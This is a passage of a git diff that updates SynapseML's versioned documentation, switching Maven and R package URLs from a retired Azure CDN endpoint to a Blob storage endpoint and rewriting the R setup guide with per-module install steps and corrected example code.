labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.1.2/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.1.2/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.1.2/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.1.2/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.1.2/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.1.2/Explore Algorithms/Deep Learning/Getting Started.md index 66323964774..4e5f3d26de5 100644 --- a/website/versioned_docs/version-1.1.2/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.1.2/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.1.2 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.1.2 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.1.2/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.1.2/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index ac5de32e6ba..dff6eaab11a 100644 --- a/website/versioned_docs/version-1.1.2/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.1.2/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.1.0 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.1.2/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.1.2/Get Started/Install SynapseML.md index a860e1a8eee..82ed6135f83 100644 --- a/website/versioned_docs/version-1.1.2/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.1.2/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.5 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.1.2", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.15", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -63,7 +63,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -81,7 +81,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 1.1.2 version for spark 3.5 and 1.0.15 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.1.2") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -92,7 +92,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 1.1.2 version for spark 3.5 and 1.0.15 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.1.2" ``` @@ -123,7 +123,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.1.2` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.1.2/Reference/Contributor Guide.md b/website/versioned_docs/version-1.1.2/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.1.2/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.1.2/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.1.2/Reference/R Setup.md b/website/versioned_docs/version-1.1.2/Reference/R Setup.md index 81b9410fc98..5e6af4b062f 100644 --- a/website/versioned_docs/version-1.1.2/Reference/R Setup.md +++ b/website/versioned_docs/version-1.1.2/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.1.2.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.1.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.1.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.1.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.1.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.1.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.1.2.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.1.2" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.1.2` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.1.2 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.1.2.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.1.3/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.1.3/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.1.3/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.1.3/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.1.3/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.1.3/Explore Algorithms/Deep Learning/Getting Started.md index a29ecf5a6ba..7dc70da8f27 100644 --- a/website/versioned_docs/version-1.1.3/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.1.3/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.1.3 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.1.3 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.1.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.1.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index ac5de32e6ba..dff6eaab11a 100644 --- a/website/versioned_docs/version-1.1.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.1.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.1.0 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.1.3/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.1.3/Get Started/Install SynapseML.md index 45f9157f7c3..29a762b370b 100644 --- a/website/versioned_docs/version-1.1.3/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.1.3/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.5 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.1.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.15", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -63,7 +63,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -81,7 +81,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 1.1.3 version for spark 3.5 and 1.0.15 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.1.3") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -92,7 +92,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 1.1.3 version for spark 3.5 and 1.0.15 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.1.3" ``` @@ -123,7 +123,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.1.3` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.1.3/Reference/Contributor Guide.md b/website/versioned_docs/version-1.1.3/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.1.3/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.1.3/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.1.3/Reference/R Setup.md b/website/versioned_docs/version-1.1.3/Reference/R Setup.md index 8bb1943ce5e..603761112f6 100644 --- a/website/versioned_docs/version-1.1.3/Reference/R Setup.md +++ b/website/versioned_docs/version-1.1.3/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.1.3.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.1.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.1.3.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.1.3" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.1.3` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.1.3 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.1.3.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- 